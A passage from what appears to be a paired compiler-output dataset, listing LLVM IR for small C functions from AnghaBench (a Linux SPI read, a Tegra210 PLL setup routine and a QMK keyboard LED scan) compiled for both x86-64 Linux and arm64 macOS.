; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
declare i64 @TREE_CODE(i64 noundef) local_unnamed_addr #2
declare i64 @TREE_TYPE(i64 noundef) local_unnamed_addr #2
declare i64 @TREE_OPERAND(i64 noundef, i32 noundef) local_unnamed_addr #2
declare i64 @build_static_cast_1(i64 noundef, i64 noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @error(ptr noundef, i64 noundef, i64 noundef) local_unnamed_addr #2
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"int", !8, i64 0}
| freebsd_contrib_gcc_cp_extr_typeck.c_build_static_cast |
; ModuleID = 'AnghaBench/linux/drivers/spi/extr_spi-sh.c_spi_sh_read.c'
source_filename = "AnghaBench/linux/drivers/spi/extr_spi-sh.c_spi_sh_read.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.spi_sh_data = type { i32, i64 }
@llvm.compiler.used = appending global [1 x ptr] [ptr @spi_sh_read], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i64 @spi_sh_read(ptr nocapture noundef readonly %0, i64 noundef %1) #0 {
%3 = load i32, ptr %0, align 8, !tbaa !5
switch i32 %3, label %15 [
i32 8, label %4
i32 32, label %10
]
4: ; preds = %2
%5 = getelementptr inbounds %struct.spi_sh_data, ptr %0, i64 0, i32 1
%6 = load i64, ptr %5, align 8, !tbaa !11
%7 = lshr i64 %1, 2
%8 = add i64 %6, %7
%9 = tail call i64 @ioread8(i64 noundef %8) #2
br label %15
10: ; preds = %2
%11 = getelementptr inbounds %struct.spi_sh_data, ptr %0, i64 0, i32 1
%12 = load i64, ptr %11, align 8, !tbaa !11
%13 = add i64 %12, %1
%14 = tail call i64 @ioread32(i64 noundef %13) #2
br label %15
15: ; preds = %2, %10, %4
%16 = phi i64 [ %9, %4 ], [ %14, %10 ], [ 0, %2 ]
ret i64 %16
}
declare i64 @ioread8(i64 noundef) local_unnamed_addr #1
declare i64 @ioread32(i64 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"spi_sh_data", !7, i64 0, !10, i64 8}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"long", !8, i64 0}
!11 = !{!6, !10, i64 8}
| ; ModuleID = 'AnghaBench/linux/drivers/spi/extr_spi-sh.c_spi_sh_read.c'
source_filename = "AnghaBench/linux/drivers/spi/extr_spi-sh.c_spi_sh_read.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @spi_sh_read], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i64 @spi_sh_read(ptr nocapture noundef readonly %0, i64 noundef %1) #0 {
%3 = load i32, ptr %0, align 8, !tbaa !6
switch i32 %3, label %15 [
i32 8, label %4
i32 32, label %10
]
4: ; preds = %2
%5 = getelementptr inbounds i8, ptr %0, i64 8
%6 = load i64, ptr %5, align 8, !tbaa !12
%7 = lshr i64 %1, 2
%8 = add i64 %6, %7
%9 = tail call i64 @ioread8(i64 noundef %8) #2
br label %15
10: ; preds = %2
%11 = getelementptr inbounds i8, ptr %0, i64 8
%12 = load i64, ptr %11, align 8, !tbaa !12
%13 = add i64 %12, %1
%14 = tail call i64 @ioread32(i64 noundef %13) #2
br label %15
15: ; preds = %2, %10, %4
%16 = phi i64 [ %9, %4 ], [ %14, %10 ], [ 0, %2 ]
ret i64 %16
}
declare i64 @ioread8(i64 noundef) local_unnamed_addr #1
declare i64 @ioread32(i64 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"spi_sh_data", !8, i64 0, !11, i64 8}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"long", !9, i64 0}
!12 = !{!7, !11, i64 8}
| linux_drivers_spi_extr_spi-sh.c_spi_sh_read |
; ModuleID = 'AnghaBench/linux/drivers/clk/tegra/extr_clk-tegra210.c_tegra210_plla_set_defaults.c'
source_filename = "AnghaBench/linux/drivers/clk/tegra/extr_clk-tegra210.c_tegra210_plla_set_defaults.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_2__ = type { i32, ptr, i64 }
@clk_base = dso_local local_unnamed_addr global i64 0, align 8
@PLL_ENABLE = dso_local local_unnamed_addr global i32 0, align 4
@PLLA_BASE_IDDQ = dso_local local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [34 x i8] c"PLL_A boot enabled with IDDQ set\0A\00", align 1
@.str.1 = private unnamed_addr constant [53 x i8] c"PLL_A already enabled. Postponing set full defaults\0A\00", align 1
@PLLA_MISC0_DEFAULT_VALUE = dso_local local_unnamed_addr global i32 0, align 4
@PLLA_MISC0_LOCK_ENABLE = dso_local local_unnamed_addr global i32 0, align 4
@PLLA_MISC0_LOCK_OVERRIDE = dso_local local_unnamed_addr global i32 0, align 4
@PLLA_MISC0_WRITE_MASK = dso_local local_unnamed_addr global i32 0, align 4
@PLLA_MISC2_DEFAULT_VALUE = dso_local local_unnamed_addr global i32 0, align 4
@PLLA_MISC2_EN_DYNRAMP = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @tegra210_plla_set_defaults], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @tegra210_plla_set_defaults(ptr nocapture noundef readonly %0) #0 {
%2 = load i64, ptr @clk_base, align 8, !tbaa !5
%3 = load ptr, ptr %0, align 8, !tbaa !9
%4 = getelementptr inbounds %struct.TYPE_2__, ptr %3, i64 0, i32 2
%5 = load i64, ptr %4, align 8, !tbaa !12
%6 = add nsw i64 %5, %2
%7 = tail call i32 @readl_relaxed(i64 noundef %6) #2
%8 = load ptr, ptr %0, align 8, !tbaa !9
store i32 1, ptr %8, align 8, !tbaa !15
%9 = load i32, ptr @PLL_ENABLE, align 4, !tbaa !16
%10 = and i32 %9, %7
%11 = icmp eq i32 %10, 0
%12 = load i32, ptr @PLLA_BASE_IDDQ, align 4, !tbaa !16
br i1 %11, label %50, label %13
13: ; preds = %1
%14 = and i32 %12, %7
%15 = icmp eq i32 %14, 0
br i1 %15, label %19, label %16
16: ; preds = %13
%17 = tail call i32 @pr_warn(ptr noundef nonnull @.str) #2
%18 = load ptr, ptr %0, align 8, !tbaa !9
store i32 0, ptr %18, align 8, !tbaa !15
br label %19
19: ; preds = %16, %13
%20 = tail call i32 @pr_warn(ptr noundef nonnull @.str.1) #2
%21 = load i32, ptr @PLLA_MISC0_DEFAULT_VALUE, align 4, !tbaa !16
%22 = load i32, ptr @PLLA_MISC0_LOCK_ENABLE, align 4, !tbaa !16
%23 = load i32, ptr @PLLA_MISC0_LOCK_OVERRIDE, align 4, !tbaa !16
%24 = or i32 %23, %22
%25 = load i64, ptr @clk_base, align 8, !tbaa !5
%26 = load ptr, ptr %0, align 8, !tbaa !9
%27 = xor i32 %24, -1
%28 = load i32, ptr @PLLA_MISC0_WRITE_MASK, align 4, !tbaa !16
%29 = and i32 %28, %27
%30 = tail call i32 @_pll_misc_chk_default(i64 noundef %25, ptr noundef %26, i32 noundef 0, i32 noundef %21, i32 noundef %29) #2
%31 = load i32, ptr @PLLA_MISC2_DEFAULT_VALUE, align 4, !tbaa !16
%32 = load i64, ptr @clk_base, align 8, !tbaa !5
%33 = load ptr, ptr %0, align 8, !tbaa !9
%34 = load i32, ptr @PLLA_MISC2_EN_DYNRAMP, align 4, !tbaa !16
%35 = tail call i32 @_pll_misc_chk_default(i64 noundef %32, ptr noundef %33, i32 noundef 2, i32 noundef %31, i32 noundef %34) #2
%36 = load i64, ptr @clk_base, align 8, !tbaa !5
%37 = load ptr, ptr %0, align 8, !tbaa !9
%38 = getelementptr inbounds %struct.TYPE_2__, ptr %37, i64 0, i32 1
%39 = load ptr, ptr %38, align 8, !tbaa !17
%40 = load i64, ptr %39, align 8, !tbaa !5
%41 = add nsw i64 %40, %36
%42 = tail call i32 @readl_relaxed(i64 noundef %41) #2
%43 = and i32 %42, %27
%44 = load i32, ptr @PLLA_MISC0_DEFAULT_VALUE, align 4, !tbaa !16
%45 = and i32 %44, %24
%46 = or i32 %45, %43
%47 = load ptr, ptr %0, align 8, !tbaa !9
%48 = getelementptr inbounds %struct.TYPE_2__, ptr %47, i64 0, i32 1
%49 = load ptr, ptr %48, align 8, !tbaa !17
br label %70
50: ; preds = %1
%51 = or i32 %12, %7
%52 = load i64, ptr @clk_base, align 8, !tbaa !5
%53 = getelementptr inbounds %struct.TYPE_2__, ptr %8, i64 0, i32 2
%54 = load i64, ptr %53, align 8, !tbaa !12
%55 = add nsw i64 %54, %52
%56 = tail call i32 @writel_relaxed(i32 noundef %51, i64 noundef %55) #2
%57 = load i32, ptr @PLLA_MISC0_DEFAULT_VALUE, align 4, !tbaa !16
%58 = load i64, ptr @clk_base, align 8, !tbaa !5
%59 = load ptr, ptr %0, align 8, !tbaa !9
%60 = getelementptr inbounds %struct.TYPE_2__, ptr %59, i64 0, i32 1
%61 = load ptr, ptr %60, align 8, !tbaa !17
%62 = load i64, ptr %61, align 8, !tbaa !5
%63 = add nsw i64 %62, %58
%64 = tail call i32 @writel_relaxed(i32 noundef %57, i64 noundef %63) #2
%65 = load i32, ptr @PLLA_MISC2_DEFAULT_VALUE, align 4, !tbaa !16
%66 = load ptr, ptr %0, align 8, !tbaa !9
%67 = getelementptr inbounds %struct.TYPE_2__, ptr %66, i64 0, i32 1
%68 = load ptr, ptr %67, align 8, !tbaa !17
%69 = getelementptr inbounds i64, ptr %68, i64 2
br label %70
70: ; preds = %50, %19
%71 = phi ptr [ %69, %50 ], [ %49, %19 ]
%72 = phi i32 [ %65, %50 ], [ %46, %19 ]
%73 = load i64, ptr @clk_base, align 8, !tbaa !5
%74 = load i64, ptr %71, align 8, !tbaa !5
%75 = add nsw i64 %74, %73
%76 = tail call i32 @writel_relaxed(i32 noundef %72, i64 noundef %75) #2
%77 = tail call i32 @udelay(i32 noundef 1) #2
ret void
}
declare i32 @readl_relaxed(i64 noundef) local_unnamed_addr #1
declare i32 @pr_warn(ptr noundef) local_unnamed_addr #1
declare i32 @_pll_misc_chk_default(i64 noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @writel_relaxed(i32 noundef, i64 noundef) local_unnamed_addr #1
declare i32 @udelay(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"long", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !11, i64 0}
!10 = !{!"tegra_clk_pll", !11, i64 0}
!11 = !{!"any pointer", !7, i64 0}
!12 = !{!13, !6, i64 16}
!13 = !{!"TYPE_2__", !14, i64 0, !11, i64 8, !6, i64 16}
!14 = !{!"int", !7, i64 0}
!15 = !{!13, !14, i64 0}
!16 = !{!14, !14, i64 0}
!17 = !{!13, !11, i64 8}
| ; ModuleID = 'AnghaBench/linux/drivers/clk/tegra/extr_clk-tegra210.c_tegra210_plla_set_defaults.c'
source_filename = "AnghaBench/linux/drivers/clk/tegra/extr_clk-tegra210.c_tegra210_plla_set_defaults.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@clk_base = common local_unnamed_addr global i64 0, align 8
@PLL_ENABLE = common local_unnamed_addr global i32 0, align 4
@PLLA_BASE_IDDQ = common local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [34 x i8] c"PLL_A boot enabled with IDDQ set\0A\00", align 1
@.str.1 = private unnamed_addr constant [53 x i8] c"PLL_A already enabled. Postponing set full defaults\0A\00", align 1
@PLLA_MISC0_DEFAULT_VALUE = common local_unnamed_addr global i32 0, align 4
@PLLA_MISC0_LOCK_ENABLE = common local_unnamed_addr global i32 0, align 4
@PLLA_MISC0_LOCK_OVERRIDE = common local_unnamed_addr global i32 0, align 4
@PLLA_MISC0_WRITE_MASK = common local_unnamed_addr global i32 0, align 4
@PLLA_MISC2_DEFAULT_VALUE = common local_unnamed_addr global i32 0, align 4
@PLLA_MISC2_EN_DYNRAMP = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @tegra210_plla_set_defaults], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @tegra210_plla_set_defaults(ptr nocapture noundef readonly %0) #0 {
%2 = load i64, ptr @clk_base, align 8, !tbaa !6
%3 = load ptr, ptr %0, align 8, !tbaa !10
%4 = getelementptr inbounds i8, ptr %3, i64 16
%5 = load i64, ptr %4, align 8, !tbaa !13
%6 = add nsw i64 %5, %2
%7 = tail call i32 @readl_relaxed(i64 noundef %6) #2
%8 = load ptr, ptr %0, align 8, !tbaa !10
store i32 1, ptr %8, align 8, !tbaa !16
%9 = load i32, ptr @PLL_ENABLE, align 4, !tbaa !17
%10 = and i32 %9, %7
%11 = icmp eq i32 %10, 0
%12 = load i32, ptr @PLLA_BASE_IDDQ, align 4, !tbaa !17
br i1 %11, label %50, label %13
13: ; preds = %1
%14 = and i32 %12, %7
%15 = icmp eq i32 %14, 0
br i1 %15, label %19, label %16
16: ; preds = %13
%17 = tail call i32 @pr_warn(ptr noundef nonnull @.str) #2
%18 = load ptr, ptr %0, align 8, !tbaa !10
store i32 0, ptr %18, align 8, !tbaa !16
br label %19
19: ; preds = %16, %13
%20 = tail call i32 @pr_warn(ptr noundef nonnull @.str.1) #2
%21 = load i32, ptr @PLLA_MISC0_DEFAULT_VALUE, align 4, !tbaa !17
%22 = load i32, ptr @PLLA_MISC0_LOCK_ENABLE, align 4, !tbaa !17
%23 = load i32, ptr @PLLA_MISC0_LOCK_OVERRIDE, align 4, !tbaa !17
%24 = or i32 %23, %22
%25 = load i64, ptr @clk_base, align 8, !tbaa !6
%26 = load ptr, ptr %0, align 8, !tbaa !10
%27 = xor i32 %24, -1
%28 = load i32, ptr @PLLA_MISC0_WRITE_MASK, align 4, !tbaa !17
%29 = and i32 %28, %27
%30 = tail call i32 @_pll_misc_chk_default(i64 noundef %25, ptr noundef %26, i32 noundef 0, i32 noundef %21, i32 noundef %29) #2
%31 = load i32, ptr @PLLA_MISC2_DEFAULT_VALUE, align 4, !tbaa !17
%32 = load i64, ptr @clk_base, align 8, !tbaa !6
%33 = load ptr, ptr %0, align 8, !tbaa !10
%34 = load i32, ptr @PLLA_MISC2_EN_DYNRAMP, align 4, !tbaa !17
%35 = tail call i32 @_pll_misc_chk_default(i64 noundef %32, ptr noundef %33, i32 noundef 2, i32 noundef %31, i32 noundef %34) #2
%36 = load i64, ptr @clk_base, align 8, !tbaa !6
%37 = load ptr, ptr %0, align 8, !tbaa !10
%38 = getelementptr inbounds i8, ptr %37, i64 8
%39 = load ptr, ptr %38, align 8, !tbaa !18
%40 = load i64, ptr %39, align 8, !tbaa !6
%41 = add nsw i64 %40, %36
%42 = tail call i32 @readl_relaxed(i64 noundef %41) #2
%43 = and i32 %42, %27
%44 = load i32, ptr @PLLA_MISC0_DEFAULT_VALUE, align 4, !tbaa !17
%45 = and i32 %44, %24
%46 = or i32 %45, %43
%47 = load ptr, ptr %0, align 8, !tbaa !10
%48 = getelementptr inbounds i8, ptr %47, i64 8
%49 = load ptr, ptr %48, align 8, !tbaa !18
br label %70
50: ; preds = %1
%51 = or i32 %12, %7
%52 = load i64, ptr @clk_base, align 8, !tbaa !6
%53 = getelementptr inbounds i8, ptr %8, i64 16
%54 = load i64, ptr %53, align 8, !tbaa !13
%55 = add nsw i64 %54, %52
%56 = tail call i32 @writel_relaxed(i32 noundef %51, i64 noundef %55) #2
%57 = load i32, ptr @PLLA_MISC0_DEFAULT_VALUE, align 4, !tbaa !17
%58 = load i64, ptr @clk_base, align 8, !tbaa !6
%59 = load ptr, ptr %0, align 8, !tbaa !10
%60 = getelementptr inbounds i8, ptr %59, i64 8
%61 = load ptr, ptr %60, align 8, !tbaa !18
%62 = load i64, ptr %61, align 8, !tbaa !6
%63 = add nsw i64 %62, %58
%64 = tail call i32 @writel_relaxed(i32 noundef %57, i64 noundef %63) #2
%65 = load i32, ptr @PLLA_MISC2_DEFAULT_VALUE, align 4, !tbaa !17
%66 = load ptr, ptr %0, align 8, !tbaa !10
%67 = getelementptr inbounds i8, ptr %66, i64 8
%68 = load ptr, ptr %67, align 8, !tbaa !18
%69 = getelementptr inbounds i8, ptr %68, i64 16
br label %70
70: ; preds = %50, %19
%71 = phi ptr [ %69, %50 ], [ %49, %19 ]
%72 = phi i32 [ %65, %50 ], [ %46, %19 ]
%73 = load i64, ptr @clk_base, align 8, !tbaa !6
%74 = load i64, ptr %71, align 8, !tbaa !6
%75 = add nsw i64 %74, %73
%76 = tail call i32 @writel_relaxed(i32 noundef %72, i64 noundef %75) #2
%77 = tail call i32 @udelay(i32 noundef 1) #2
ret void
}
declare i32 @readl_relaxed(i64 noundef) local_unnamed_addr #1
declare i32 @pr_warn(ptr noundef) local_unnamed_addr #1
declare i32 @_pll_misc_chk_default(i64 noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @writel_relaxed(i32 noundef, i64 noundef) local_unnamed_addr #1
declare i32 @udelay(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !12, i64 0}
!11 = !{!"tegra_clk_pll", !12, i64 0}
!12 = !{!"any pointer", !8, i64 0}
!13 = !{!14, !7, i64 16}
!14 = !{!"TYPE_2__", !15, i64 0, !12, i64 8, !7, i64 16}
!15 = !{!"int", !8, i64 0}
!16 = !{!14, !15, i64 0}
!17 = !{!15, !15, i64 0}
!18 = !{!14, !12, i64 8}
| linux_drivers_clk_tegra_extr_clk-tegra210.c_tegra210_plla_set_defaults |
; ModuleID = 'AnghaBench/qmk_firmware/layouts/community/ergodox/romanzolotarev-norman-plover-osx-hjkl/extr_keymap.c_matrix_scan_user.c'
source_filename = "AnghaBench/qmk_firmware/layouts/community/ergodox/romanzolotarev-norman-plover-osx-hjkl/extr_keymap.c_matrix_scan_user.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@layer_state = dso_local local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind uwtable
define dso_local void @matrix_scan_user() local_unnamed_addr #0 {
%1 = load i32, ptr @layer_state, align 4, !tbaa !5
%2 = tail call i32 @biton32(i32 noundef %1) #2
%3 = tail call i32 (...) @ergodox_board_led_off() #2
%4 = tail call i32 (...) @ergodox_right_led_1_off() #2
%5 = tail call i32 (...) @ergodox_right_led_2_off() #2
%6 = tail call i32 (...) @ergodox_right_led_3_off() #2
switch i32 %2, label %13 [
i32 128, label %7
i32 129, label %9
i32 130, label %11
]
7: ; preds = %0
%8 = tail call i32 (...) @ergodox_right_led_1_on() #2
br label %13
9: ; preds = %0
%10 = tail call i32 (...) @ergodox_right_led_2_on() #2
br label %13
11: ; preds = %0
%12 = tail call i32 (...) @ergodox_right_led_3_on() #2
br label %13
13: ; preds = %0, %11, %9, %7
ret void
}
declare i32 @biton32(i32 noundef) local_unnamed_addr #1
declare i32 @ergodox_board_led_off(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_1_off(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_2_off(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_3_off(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_1_on(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_2_on(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_3_on(...) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/qmk_firmware/layouts/community/ergodox/romanzolotarev-norman-plover-osx-hjkl/extr_keymap.c_matrix_scan_user.c'
source_filename = "AnghaBench/qmk_firmware/layouts/community/ergodox/romanzolotarev-norman-plover-osx-hjkl/extr_keymap.c_matrix_scan_user.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@layer_state = common local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind ssp uwtable(sync)
define void @matrix_scan_user() local_unnamed_addr #0 {
%1 = load i32, ptr @layer_state, align 4, !tbaa !6
%2 = tail call i32 @biton32(i32 noundef %1) #2
%3 = tail call i32 @ergodox_board_led_off() #2
%4 = tail call i32 @ergodox_right_led_1_off() #2
%5 = tail call i32 @ergodox_right_led_2_off() #2
%6 = tail call i32 @ergodox_right_led_3_off() #2
switch i32 %2, label %13 [
i32 128, label %7
i32 129, label %9
i32 130, label %11
]
7: ; preds = %0
%8 = tail call i32 @ergodox_right_led_1_on() #2
br label %13
9: ; preds = %0
%10 = tail call i32 @ergodox_right_led_2_on() #2
br label %13
11: ; preds = %0
%12 = tail call i32 @ergodox_right_led_3_on() #2
br label %13
13: ; preds = %0, %11, %9, %7
ret void
}
declare i32 @biton32(i32 noundef) local_unnamed_addr #1
declare i32 @ergodox_board_led_off(...) local_unnamed_addr #1
